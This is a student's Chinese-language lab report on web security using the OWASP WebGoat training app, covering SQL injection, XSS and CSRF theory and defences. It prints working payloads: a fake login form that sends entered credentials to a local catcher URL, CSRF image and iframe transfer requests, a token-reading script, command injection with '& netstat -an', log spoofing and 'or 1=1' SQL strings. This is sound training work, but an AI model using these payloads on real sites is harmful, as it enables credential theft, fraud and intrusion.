20155312 張競予 Exp9 Web安全基礎

時間  2019-11-24
標籤 exp9 exp web 安全 基礎 欄目 HTML 简体版
原文   原文鏈接

Exp9 Web安全基礎

目錄

基礎問題回答

（1）SQL注入攻擊原理，如何防護

  • 原理：經過在用戶名、密碼登輸入框中輸入一些',--,#等特殊字符，實現引號閉合、註釋部分SQL語句，利用永真式實現登陸、顯示信息等目的。其實就是輸入框中的字符提交到後臺的數據庫中會與SQL語句組合拼接，若是猜想出後臺的SQL語句格式，而後有針對性的輸入，就能夠達到相應目的。
  • 防護辦法：
    • 能夠在後臺控制輸入的長度或者禁止用戶輸入一些特殊符號，例如 -- 、' 等
    • 能夠經過JAVA中的綁定變量等方法進行預防,JAVA的綁定變量方法是吧用戶的輸入做爲一種變量,對SQL語句進行預編譯,這樣在執行時就不是順序執行,而是把輸入做爲一種變量進行處理,不會在運行時進行動態的拼接SQL語句,防止了惡意的攻擊代碼被寫入SQL語句進行解析和執行。

（2）XSS攻擊的原理，如何防護

  • 原理：攻擊者往Web頁面裏插入惡意html標籤或者javascript代碼，當用戶瀏覽該頁或者進行某些操做時，攻擊者利用用戶對原網站的信任，誘騙用戶或瀏覽器執行一些不安全的操做或者向其它網站提交用戶的私密信息。
  • 防護辦法：
    • 用戶角度：提升防範意識，不要輕易輸入我的信息，如用戶名密碼
    • 網頁編寫者角度：在輸入到輸出的過程當中進行過濾、轉義
    • eg:①過濾 <和> 標記，XSS跨站攻擊的最終目標是引入script代碼在用戶的瀏覽器中執行，因此最基本最簡單的過濾方法，就是轉換 <和> 標記。②HTML屬性過濾,一旦用戶輸入的語句中含有javascript，jscript，vbscript，都用空白代替。③過濾特殊字符：&、回車和空格。

（3）CSRF攻擊原理，如何防護

  • 原理：
    • CSRF就是冒名登陸。跨站請求僞造的核心本質是竊取用戶的Session,或者說Cookie,由於目前主流狀況Session都是存在Cookie中.攻擊者並不關心被害者具體賬號和密碼,由於一旦用戶進行了登陸,Session就是用戶的惟一憑證,只要攻擊者可以獲得Session,就能夠假裝成被害者進入服務器.
    • 主要是當訪問網站A時輸入用戶名和密碼，在經過驗證後，網站A產生Cookie信息並返回，此時登陸網站A成功，可正常發送請求到網站A。在未退出網站A前，若訪問另外一個網站B，網站B可返回一些攻擊性代碼並請求訪問網站A；所以在網站B的請求下，向網站A發出請求。但網站A不知道該請求惡意的，所以仍是會執行該惡意代碼
  • 防護辦法：
    • 我的以爲能夠儘可能別讓瀏覽器記住密碼，輸入一下也沒有多麻煩，這樣就沒有cookie了，也沒有可獲取的東西
    • 此外，能夠在form中包含祕密信息、用戶指定的代號做爲cookie以外的驗證。
    • 「雙提交」cookie。某個受權的cookie在form post以前正被JavaScript代碼讀取，那麼限制跨域規則將被應用。服務器須要在Post請求體或者URL中包含受權cookie的請求，那麼這個請求必須來自於受信任的域。

返回目錄javascript

實踐過程記錄

WebGoat準備工做

Webgoat是OWASP組織研究出的一個專門進行web漏洞實驗的應用品臺，這個平臺裏包含了web中常見的各類漏洞，例如：跨站腳本攻擊、sql注入、訪問控制、隱藏字段、Cookie等；html

最開始我下載的是官網最新版本，但操做中會出現一些問題，並且參考其餘同窗的博客，可能8.0.0版本的作完SQL就打不開了，因此在實際操做時，仍是應該用7.0.1版本的。java

①下載webgoat-container-7.0.1-war-exec.jar文件git

下載地址爲：https://github.com/WebGoat/WebGoat/releases ，在最下面的「The OWASP WebGoat 7.0.1 Release」中，選擇webgoat-container-7.0.1-war-exec.jar文件進行下載程序員

②終止佔用8080端口的其餘進程github

因WebGoat默認使用8080端口，因此開啓前先用netstat -tupln | grep 8080查看端口是否被佔用，若是被佔用，用kill 進程號終止佔用8080端口的進程。web

③開啓WebGoatsql

我開始使用的是8.0.0版本的WebGoat，後來換成了7.0.1版本，須要在含有「webgoat-container-7.0.1-war-exec.jar」文件的目錄下執行java -jar webgoat-container-7.0.1-war-exec.jar數據庫

若是使用的是其餘版本的WebGoat，這個語句要根據文件名進行修改，例如：java -jar webgoat-server-8.0.0.M14.jar跨域

④瀏覽器打開WebGoat

  • 若是是8.0.0版本的WebGoat默認用戶名密碼無法登陸，能夠點擊下方的「Register new user」註冊一個新用戶，以下所示，註冊後便可直接登陸

XSS攻擊

一、Phishing with XSS 跨站腳本釣魚攻擊

跨站腳本攻擊是經過HTML注入劫持用戶的瀏覽器，任意構造用戶當前瀏覽的HTML內容，能夠模擬用戶當前的操做。這裏實驗的是一種獲取用戶名和密碼的攻擊.

①在webgoat找到Cross-Site Scripting （xss）攻擊打開第一個——Phishing with XSS

②將下面這段代碼輸入到"Search:"輸入框中，點擊search;

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.！！！！！！ Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

結果會出現代碼中所指定的綠、紅、藍三塊div，並在下方出現了用於欺騙用戶的提示語「This feature requires account login:」和用戶名、密碼輸入框。

③若是真的在登陸框中輸入用戶名、密碼，eg:20155312 1234，點擊登陸後，會像代碼中alert提示的，顯示被竊取的用戶名和密碼。

二、Stored XSS Attacks 存儲型XSS攻擊

存儲型XSS的攻擊基本流程:

  1. 好比在某個論壇提供留言板功能，黑客在留言板內插入惡意的html或者Javascript代碼，而且提交。
  2. 網站後臺程序將留言內容存儲在數據中
  3. 而後一個用戶也訪問這個論壇，並刷新了留言板，這時網站後臺從數據庫中讀取了以前黑客的留言內容，而且直接插入在html頁面中，這就可能致使：黑客留言的腳本自己應該做爲內容顯示在留言板的，但此時黑客的留言腳本被瀏覽器解釋執行。

黑客的腳本能夠用來作以下所述的攻擊:

1.經過javascript獲取用戶的cookie，根據這個cookie竊取用戶信息
2.重定向網站到一個釣魚網站
3.從新更改頁面內容，僞裝讓客戶輸入用戶名，密碼，而後提交到黑客的服務器

咱們就來試試第三個，獲取用戶名和密碼吧~

①打開Cross-Site Scripting （xss）攻擊中的第二個：Stored XSS Attacks

②在Message框中輸入上面那段代碼,並點擊submit，Title隨便輸入，我輸入了本身的學號

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.！！！！！！ Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

③提交後，下方「Message List」中會新增剛輸入的Tile名字的連接，點擊連接。

④能夠看到咱們的html已經注入成功，messege部分顯示的是綠、紅、藍三色框，在下方用戶名密碼處輸入，eg:20155312 12345，點擊提交後，被成功獲取用戶名和密碼：

三、Reflected XSS Attacks 反射型XSS攻擊

反射型XSS：

咱們在訪問一個網頁的時候，在URL後面加上參數，服務器根據請求的參數值構造不一樣的HTML返回。
value可能出如今返回的HTML(多是JS,HTML某元素的內容或者屬性)中,
若是將value改爲能夠在瀏覽器中被解釋執行的東西,就造成了反射型XSS.
別人可能修改這個value值，而後將這個惡意的URL發送給你,當URL地址被打開時,
特有的惡意代碼參數就會被HTML解析執行.
它的特色是非持久化,必須用戶點擊帶有特定參數的連接才能引發。

存儲型XSS與反射型XSS的區別：

存儲型XSS，持久化，代碼是存儲在服務器中的，如在我的信息或發表文章等地方，加入代碼，若是沒有過濾或過濾不嚴，那麼這些代碼將儲存到服務器中，用戶訪問該頁面的時候觸發代碼執行。這種XSS比較危險，容易形成蠕蟲，盜竊cookie等。

反射型XSS，非持久化，須要欺騙用戶本身去點擊連接才能觸發XSS代碼（服務器中沒有這樣的頁面和內容），通常容易出如今搜索頁面。

①打開xss的第三個攻擊Reflected XSS Attacks

②在「Enter your three digit access code:」中輸入<script>alert("I am zjy");</script>點擊Purchase，成功顯示警告框，內容爲咱們script腳本指定的內容：

④假如咱們輸入前面編寫的腳本，原理相同，一樣會成功：

<head>
<body>

  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.！！！！！！ Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

CSRF攻擊

四、Cross Site Request Forgery(CSRF)

CSRF攻擊介紹：

跨站請求僞造，儘管聽起來像跨站腳本（XSS），但它與XSS很是不一樣，XSS利用站點內的信任用戶，而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比，CSRF攻擊每每不大流行（所以對其進行防範的資源也至關稀少）和難以防範，因此被認爲比XSS更具危險性。

目標：此次攻擊向新聞組發送一封email。這個email包含一個image，其URL指向一個惡意請求。

① 打開Cross-Site Scripting （xss）攻擊中的第四個：Cross Site Request Forgery(CSRF)

②查看頁面下方Parameters中的src和menu值，分別爲280和900。

③在message框中輸入<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />,以圖片的的形式將URL放進Message框，這時的URL對其餘用戶是不可見的，用戶一旦點擊圖片，就會觸發一個CSRF事件，點擊Submit提交

  • 這裏src值、menu值要根據上一步查看的結果修改，轉帳數額隨便輸入，eg:5000
  • 寬高設置成1像素的目的是隱藏該圖片

④提交後，在Message List中生成以Title命名的連接（消息）。點擊該消息，當前頁面就會下載這個消息並顯示出來，轉走用戶的5000元，從而達到CSRF攻擊的目的。

如圖所示，攻擊成功

5.CSRF Prompt By-Pass

① 打開Cross-Site Scripting （xss）攻擊中的第五個：CSRF Prompt By-Pass

②同攻擊4，查看頁面下側Parameters中的src和menu值（268和900），並在title框中輸入學號，message框中輸入代碼：

<iframe src="attack?Screen=268&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=268&menu=900&transferFunds=CONFIRM"> </iframe>

④在Message List中生成以Title命名的連接"5"。

⑤點擊進入後，如圖攻擊成功：

6.CSRF Token By-Pass

目標：給新聞組發送包含惡意請求的 Email 實現資金轉帳。爲了成功完成欺騙，您須要得到一個驗證請求 Token。顯示轉帳表單的 URL 相似於 CSRF 課程 中使用的外部參數"transferFunds=main"。載入該頁面，讀取 Token 並追加到僞造請求中以實現資金轉帳。

① 打開Cross-Site Scripting （xss）攻擊中的第六個：① 打開Cross-Site Scripting （xss）攻擊中的第五個：CSRF Token By-Pass

②查看網站生成的資金轉帳頁面的表單內容。http://127.0.0.1:8080/WebGoat/attack?Screen=296&menu=900&transferFunds=main

查看源代碼，看到Token參數

<form accept-charset='UNKNOWN' id='transferForm' method='POST' 
action='#attack/296/900' enctype='application/x-www-form-urlencoded'>
<input name='transferFunds' type='text' value='0'>
<input name='CSRFToken' type='hidden' value='920130483'>
<input type='submit'>
</form>

由此能夠看到僞造命令須要提交CSRFToken參數，在一個 iframe 中載入頁面，而後從該 frame 中讀取出 Token。 下面查看網頁源代碼，找到 Token 參數。

從教程裏面找了段代碼， 經過 frame‐>form 的路徑能夠讀取並保存 CSRFToken 參數。

<script>
var readToken = function(){
var doc = document.getElementById("frame1").contentDocument
var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value");
alert(token);
var frame2 = document.getElementById("frame2");
frame2.src = "http://127.0.0.1:8080/WebGoat/attack?Screen=296&menu=900&transferFunds=4000&CSRFToken="+token;
}
</script>
<iframe id="frame2" >
</iframe>
<iframe id="frame1" onload="readToken()" src="http://127.0.0.1:8080/WebGoat/attack?Screen=296&menu=900&transferFunds=main" >
</iframe>

點擊Submit按道理會彈窗顯示Cookie，但我失敗了，並且對這個也不是十分理解，算了，在後面多作一個吧~

SQL注入攻擊

SQL注入攻擊是黑客對數據庫進行攻擊的經常使用手段之一。隨着B/S模式應用開發的發展，使用這種模式編寫應用程序的程序員也愈來愈多。可是因爲程序員的水平及經驗也良莠不齊，至關大一部分程序員在編寫代碼的時候，沒有對用戶輸入數據的合法性進行判斷，使應用程序存在安全隱患。用戶能夠提交一段數據庫查詢代碼，根據程序返回的結果，得到某些他想得知的數據，這就是所謂的SQL Injection，即SQL注入。

7.命令注入(Command Injection)

①點擊工具欄的firebug，也就是蟲子(bug)，調試網頁源代碼。

②將複選框中任意一欄的代碼後添加"& netstat -an & ipconfig"

③點擊view，便可查看命令執行結果

8.Numeric SQL Injection

目的是顯示全部城市的天氣狀況

①點擊左側Injection Flaws中的第二個：Numeric SQL Injection

②咱們看到這一題的選擇框是一個下拉框，咱們使用BurpSuite抓包修改。

③在桌面上找到下圖圖標，打開BurpSuite：

④打開一個臨時工程：Temporary Project->使用默認的Burp：Use Burp Default->Start Burp

⑤在BurpSuite中依次選擇Proxy->Options->Add，添加端口5312，其餘默認，點擊OK

⑥點擊確認後會在Options下增長一行，勾選新造成的這一行

⑦點擊瀏覽器右上方的「Open Menu」選項卡，選擇preference

⑧在頁面左側選擇advanced，選擇network頁標籤，在connection那一行選擇settings…

⑨在彈出的窗口中選擇第4個：Manual proxy configuration，設置代理服務器和端口（要與BurpSuite中綁定的一致，如5312），點擊OK

⑩設置好代理後回到題目頁面，點擊Go！

[注]：一旦設置好代理，就無法正常聯網了。因此在此以前須要作完第一步，即打開攻擊的網頁。

進入BurpSuite，設置好代理後回到題目頁面，點擊Go，而後進入BurpSuite中依次選擇Proxy->Intercept，能夠看到已經抓到了包：

在該頁面上右鍵，選擇send to repeater

在頁面上方選擇Reapter->Params，而後把station的值改成101 or 1=1，點擊"Go"運行，查看右側Response部分的HTML標籤中，按道理SQL語句應該爲：SELECT * FROM weather_data WHERE station = 101 or 1=1但個人提示是這樣的：

<pre>SELECT * FROM weather_data WHERE station = ?</pre>
<p>Error parsing station as a number: For input string: "101 or 1=1"</form></div>

點擊上方Proxy->Intercept中點擊「Intercept is on」對剩下的包不做處理

回到火狐發現左側裂變已經出現綠對勾顯示成功，下方提示也是「SELECT * FROM weather_data WHERE station = ?」，無法該成101 or 1=1。

嘗試解決：用Firebug直接在網頁中修改，試了不少次也都不行，最後分析緣由是我修改的位置不對，修改了

中顯示的SQL語句，但對後臺的SQL的語句並無修改，因此從新修改複選框中的option中的value，在任意一個數字，例如103後面添加or 1=1，從新嘗試：

最後結果不盡人意，仍是不行：

我懷疑是個人WebGoat中這個題目自己存在一些問題，由於即便正常選擇城市，Select中一樣會顯示問號

9.日誌欺騙(Log Spoofing)

經過查看下方灰色區域，咱們分析它表明在 Web 服務器的日誌中的記錄的內容。

目的：使用戶名爲「admin」 的用戶在日誌中顯示「成功登陸」。

方法：經過在日誌文件中插入腳本實現。

①在username中填入5312%0d%0aLogin Succeeded for username: admin，利用回車(0D%)和換行符(%0A)讓其在日誌中兩行顯示

②點擊Login，可見5312在Login Fail那行顯示，咱們本身添加的語句在下一行顯示：

③進而，咱們思考，能夠向日志文件中添加惡意腳本，腳本的返回信息管理員可以經過瀏覽器看到。

用戶名輸入admin <script>alert(document.cookie)</script>，管理員能夠看到彈窗的cookie信息。

10.字符串型注入(String SQL Injection)

目的：嘗試經過 SQL 注入將全部信用卡信息顯示出來。

方法：基於如下查詢語句構造本身的 SQL 注入字符串。SELECT * FROM user_data WHERE last_name = '?'。

①選擇Injection Flaws中的String SQL Injection

②輸入查詢的用戶名Smith' or 1=1--

這樣Smith 和1=1都成了查詢的條件，而1=1是恆等式，這樣就能select表裏面的全部數據。

11. LAB:SQL Injection

①在密碼框輸入' or 1=1 --，登陸失敗用Firebug查看網頁源碼，發現密碼長度有限制

②將密碼長度maxlength改成100，再次嘗試，登陸成功：

返回目錄

實驗體會

這是除了免考項目的最後一個實驗了，一學期的課程眼看要接近尾聲，心中對老師甚是不捨，哈哈哈哈，最重要的是，經過九次實驗確實加強了動手實踐能力，對網絡攻擊與防範有了更深層次的認識。

說些題外話，但願本身之後可以在學習、工做的過程當中可以享受生活、熱愛生活，像老師同樣活得瀟灑一些，多作作本身熱愛的事，青春才能不留遺憾。

相關文章
相關標籤/搜索
每日一句
    每一个你不满意的现在，都有一个你没有努力的曾经。
本站公眾號
   歡迎關注本站公眾號,獲取更多信息
聯繫我們 最近搜索 最新文章 沪ICP备13005482号-10 MyBatis教程 SQL 教程 MySQL教程 Java 教程 Thymeleaf 教程 Hibernate教程 Spring教程 Redis教程